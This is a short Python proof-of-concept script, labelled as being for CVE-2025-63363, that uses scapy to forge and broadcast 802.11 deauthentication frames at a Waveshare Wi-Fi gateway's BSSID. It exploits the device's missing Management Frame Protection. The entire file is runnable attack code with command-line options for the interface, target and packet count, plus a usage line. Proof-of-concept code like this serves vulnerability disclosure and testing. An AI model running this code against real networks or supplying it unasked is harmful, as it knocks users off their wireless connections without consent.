#!/usr/bin/env python3
"""
CVE-2025-63363 PoC - Waveshare Wi-Fi Gateway Deauthentication Attack
This PoC demonstrates the lack of Management Frame Protection vulnerability.
"""
from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
import sys
import argparse
def create_deauth_packet(bssid, client_mac, reason_code=7):
"""
Create a deauthentication frame
reason_code 7 = Class 3 frame received from non-associated STA
"""
# 802.11 header with management frame type
dot11 = Dot11(
type=0, # Management frame
subtype=12, # Deauthentication
addr1=client_mac, # Destination (recipient)
addr2=bssid, # Source (BSSID)
addr3=bssid # BSSID
)
# Deauthentication frame with reason code
deauth_frame = Dot11Deauth(reason=reason_code)
# RadioTap header for proper injection
radio = RadioTap()
# Combine layers
packet = radio / dot11 / deauth_frame
return packet
def broadcast_deauth(interface, bssid, count=100):
"""
Send broadcast deauthentication frames
"""
# Broadcast address
broadcast_mac = "ff:ff:ff:ff:ff:ff"
print(f"[*] Sending {count} deauth packets to BSSID: {bssid}")
print(f"[*] Target: {broadcast_mac} (broadcast)")
print(f"[*] Interface: {interface}")
packet = create_deauth_packet(bssid, broadcast_mac)
# Send packets
sendp(packet, iface=interface, count=count, verbose=1)
print(f"[+] Sent {count} deauthentication frames")
def main():
parser = argparse.ArgumentParser(description='CVE-2025-63363 PoC')
parser.add_argument('-i', '--interface', required=True, help='Wireless interface')
parser.add_argument('-b', '--bssid', required=True, help='Target BSSID')
parser.add_argument('-c', '--count', type=int, default=100, help='Number of packets')
args = parser.parse_args()
print("="*50)
print("CVE-2025-63363 PoC - Waveshare Gateway Deauth Attack")
print("="*50)
broadcast_deauth(args.interface, args.bssid, args.count)
if __name__ == "__main__":
main()
# Usage: python cve_2025_63363_poc.py -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 100